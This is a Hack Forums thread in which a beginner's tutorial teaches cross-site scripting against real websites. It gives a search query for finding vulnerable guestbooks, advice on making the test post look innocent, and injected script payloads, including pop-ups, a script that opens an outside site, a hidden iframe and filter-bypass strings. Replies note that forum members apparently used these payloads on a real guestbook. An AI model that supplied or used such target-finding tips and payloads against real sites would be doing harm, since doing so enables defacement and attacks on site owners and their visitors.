Hack Forums

Full Version: Begginers Hacking Tutorial
You're currently viewing a stripped down version of our content. View the full version with proper formatting.
Pages: 1 2
This is a simple guide to XSS. I tried to include some common methods used for XSS injection so i hope you can find this usefull to hack.

Find a vunerable website:
Guestbooks are the most vunrable especially free guestbook scripts. You can search Google for something like:

Code:
allinurl:/guestbook.php

that should bring up some vunerable sites. You can also do that on yahoo (if Google filters your requests as spam)

Test It:
Test if it is vunrable to this attack by posting something like:

Code:
<b>Nice Site</b>

basicly make it look like you were innocently trying to make your comment stand out or something so the site won't be suspicious.
In the example above if the text shows bold the site is vunrable. Basically the idea is if the html executes properly the site is open to XSS attacks.

If it is vunerable:
You can now do:

Code:
<script>alert('Hacked By OXY')</acript>

Or even

Code:
<script>window.open("http://www.youtube.com/ironoxy")</script>

The first one displays a message box and the second one opens a website. Most XSS attacks will involve javascript or html because most people have javascript turned on in their browsers. A classic html XSS injection uses the <iframe> tag. This can be used to play music on the site! Just link it to a youtube video, give the width and height values 0 and it will play music in the background.

Code:
<iframe src="http://www.youtube.com/A48SLD3.html" height="0" width="0" scrollbars="no">

Help the javascript code didn't execute!
Sometimes a website may seem vunerable but won't execute code. This is mostly because the webiste has a filter to try and prevent XSS attacks from happening. There are ways around these filters though.
Examples include:

Code:
')<script>alert('Hello')</script>
");alert('Hi');
<script type=text/javascript>alert("Hacked")</script>
<script>var var = 1; alert(Haxed)</script>
<script>alert("/Hack Me"/)</script>
<script>alert("Hi OXY")</script>;
<script>alert("Greetz");</script>

On some websites quotes are disabled but you can get around that by using this:
Code:
<script>var VarIt = Hello!; alert(VarIt)</script>
No quotes at all in that.

Well i hope you enjoyed this tutorial and i hope you will learn from it.

Good luck, OXY.
Hey this was a pretty good, tut, gives pretty good basic info for newer "hackers" to learn from, really good job OXY. [/align]
nice guide
i dont understand how to found vuneable website!?
Nice work OXY. You learn something new every day.
scofield Wrote:i dont understand how to found vuneable website!?

Just type the code into Google and you should find loads of guestbooks some of which will be open to XSS.
ok,but what is XSS
lmfao I found this on a site I went too (No, I did NOT post it!)

http://img514.imageshack.us/my.php?image=lmfaolq4.png
Who posted that? It wasn't me. Roflmao
@SvnHATOR
These are the same codes as OXY's because someone from HF tried these on this guestbook.
Just look at the the dates OXY posted this on 23 and the codes on the link you are showing were posted on 24,25 and 26.
Pages: 1 2
Reference URL's